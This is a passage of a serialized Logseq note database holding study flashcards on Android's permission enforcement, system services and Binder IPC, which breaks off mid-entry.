evesdropperlogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^Flogseq____&quot;,458,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^Xlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^Vlogseq____&quot;,458,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^Ulogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[465,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-9149-46ba-8d7c-62b3764daf37logseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Acts as permission decision point; responsible for starting applicationslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^Flogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[466,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-e858-4969-933d-e785a3544bf3logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![image.png](../assets/image_1740158274381_0.png)logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^Flogseq____&quot;,481,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[467,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-be4b-4bf2-b090-9d2b23d7c670logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;These services provide APIs to applications allowing for controlled accesslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^Flogseq____&quot;,469,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^Vlogseq____&quot;,473,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[468,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-119a-43d3-9a63-2ce16b02e55dlogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Sensitive resources are encapsulated in core Android services/apps acting as reference monitorslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^Flogseq____&quot;,473,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^Vlogseq____&quot;,473,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[469,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-b9f1-4a90-822e-a9fcb2d05816logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Activity Manager Service\\nid:: 67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Flogseq____&quot;,479,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Vlogseq____&quot;,479,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____&quot;],536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____&quot;],536873242]],[logseq____&quot;^15logseq____&quot;,[470,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Mediate Service access of binding serviceslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^Flogseq____&quot;,475,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[471,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-9ff4-4ab6-804a-c935bc9a0546logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android SDK provides IPC receiver process UID/PID of sender process, i.e., `getCallingUID`, `getCallingPID()`logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^Flogseq____&quot;,468,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^Vlogseq____&quot;,473,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[472,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-5a36-404e-a090-6edeb1fa2726logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Android Middlewarelogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Flogseq____&quot;,478,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Vlogseq____&quot;,478,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[473,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-1f76-488b-a67f-bfb947e3d8aalogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be querried from every application for permission checkslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^Flogseq____&quot;,466,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[474,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-d269-4d36-943e-a3254d165ad8logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Mediating [[Content Provider]] access (checking URI for PDP/PEP, i.e., check path permissions and enforce URI permissions)logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Flogseq____&quot;,476,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Ulogseq____&quot;,412,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^Hlogseq____&quot;,412,536873242]],[logseq____&quot;^15logseq____&quot;,[475,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-316e-4ac5-8c9b-2960af2fd680logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Checks if broadcasts should be delivered to receiver (depends on permissions defined by sender, and granted permissions of receiver)logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^Flogseq____&quot;,483,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[476,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-8f0f-4b72-8764-692e23472739logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Package Manager Service: Management of permissions and applicationslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^Flogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^Vlogseq____&quot;,479,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[477,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-8014-42bc-810f-40dadca7795clogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Enforcing Permissionslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Flogseq____&quot;,403,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Vlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[478,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-a309-4f58-b157-b5761aaf4c47logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Application Frameworklogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Flogseq____&quot;,473,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Vlogseq____&quot;,478,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[479,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-8008-42c3-9f21-0ba5171c6513logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions are *strings assiciated with a UID* (most permissions, enforced in Androidlogseq____&apos;s middleware) or *mapped to Linux GID*s (Internet, Bluetooth, enforced by the Linux Kernel)logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Flogseq____&quot;,359,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Vlogseq____&quot;,355,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Ulogseq____&quot;,2,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Ulogseq____&quot;,38,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[480,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-6eaf-4f3b-831b-8907cdb5338flogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`checkPermission(String Perm)`, `checkPermission(int UID, String Perm)`logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^Flogseq____&quot;,474,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[481,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-d0a6-42da-a1cf-dda27f9b2a3clogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Service Manager: Handles well-known System Serviceslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^Flogseq____&quot;,477,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^Vlogseq____&quot;,479,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[482,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-33b4-47f0-af73-19610a459720logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can start Activities via an Intentlogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^Flogseq____&quot;,467,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^Vlogseq____&quot;,470,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[483,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-c47a-4799-8a01-958e6eee122alogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`vndsericemanager`: handles vendor serviceslogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^Flogseq____&quot;,482,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^Xlogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^Vlogseq____&quot;,479,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^Ulogseq____&quot;,354,536873242]],[logseq____&quot;^15logseq____&quot;,[484,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-141d-4d9c-a7fa-b3adf07a94a9logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Registration/Invocation #card #security-architecturelogseq____&quot;,536873816]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873245]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Flogseq____&quot;,432,536873249]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Xlogseq____&quot;,413,536873245]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Vlogseq____&quot;,413,536873249]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Ulogseq____&quot;,2,536873817]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Ulogseq____&quot;,38,536873817]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Ulogseq____&quot;,413,536873817]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873816]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536873816]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Hlogseq____&quot;,2,536873816]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^Hlogseq____&quot;,38,536873816]],[logseq____&quot;^15logseq____&quot;,[485,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b985cc-1c3e-47f4-baf4-06553a95ad60logseq____&quot;,536873245]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Service manager as first service to get registered (must be ensured during boot process)logseq____&quot;,536873278]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873256]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Flogseq____&quot;,485,536873256]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Xlogseq____&quot;,413,536873256]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Vlogseq____&quot;,485,536873258]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Ulogseq____&quot;,2,536873817]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Ulogseq____&quot;,38,536873817]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^Ulogseq____&quot;,413,536873817]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873278]],[logseq____&quot;^15logseq____&quot;,[486,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b985d6-cf84-4d45-94c9-61d4c5b0b675logseq____&quot;,536873256]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;All managers are registered in Kernel with unique handles(/tokens) and are associated with a process (e.g., Service Manager)logseq____&quot;,536873344]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873279]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Flogseq____&quot;,486,536873279]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Xlogseq____&quot;,413,536873279]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Vlogseq____&quot;,485,536873279]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Ulogseq____&quot;,2,536873817]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Ulogseq____&quot;,38,536873817]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^Ulogseq____&quot;,413,536873817]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873344]],[logseq____&quot;^15logseq____&quot;,[487,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b985e8-e665-4d93-bb60-388c8ba633b4logseq____&quot;,536873279]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Permission Checks #card #security-architecturelogseq____&quot;,536873820]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873316]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Flogseq____&quot;,485,536873804]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Xlogseq____&quot;,413,536873316]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Vlogseq____&quot;,413,536873804]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873820]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536873820]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Hlogseq____&quot;,2,536873820]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^Hlogseq____&quot;,38,536873820]],[logseq____&quot;^15logseq____&quot;,[489,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9860e-4a5d-4605-9ac3-2a8f3c2e61c9logseq____&quot;,536873316]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;On service request, Binder driver creates a unique reference and hands it out to the recipientlogseq____&quot;,536873360]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873335]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Flogseq____&quot;,487,536873335]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Xlogseq____&quot;,413,536873335]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Vlogseq____&quot;,485,536873335]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Ulogseq____&quot;,2,536873817]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Ulogseq____&quot;,38,536873817]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^Ulogseq____&quot;,413,536873817]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873360]],[logseq____&quot;^15logseq____&quot;,[490,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9862e-b4a2-4ce3-87d5-c31712f179f5logseq____&quot;,536873335]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder handle similar to capabilities (per process, communicable, unforgeable, tamper-proof)logseq____&quot;,536873392]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873363]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Flogseq____&quot;,428,536873363]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Xlogseq____&quot;,413,536873363]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Vlogseq____&quot;,425,536873363]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Ulogseq____&quot;,2,536873364]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Ulogseq____&quot;,38,536873364]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^Ulogseq____&quot;,413,536873364]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873392]],[logseq____&quot;^15logseq____&quot;,[491,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b986e4-9074-40fa-bdde-19a95c518cbclogseq____&quot;,536873363]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Sender UID only available for directly bound serviceslogseq____&quot;,536873621]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873414]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Flogseq____&quot;,489,536873414]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Xlogseq____&quot;,413,536873414]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Vlogseq____&quot;,489,536873579]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Ulogseq____&quot;,2,536873821]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Ulogseq____&quot;,38,536873821]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^Ulogseq____&quot;,413,536873821]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536873621]],[logseq____&quot;^15logseq____&quot;,[493,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98870-119a-441a-b217-ea7b0352b2edlogseq____&quot;,536873414]],[logseq____&quot;^15logseq____&quot;,[494,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Indirection of message 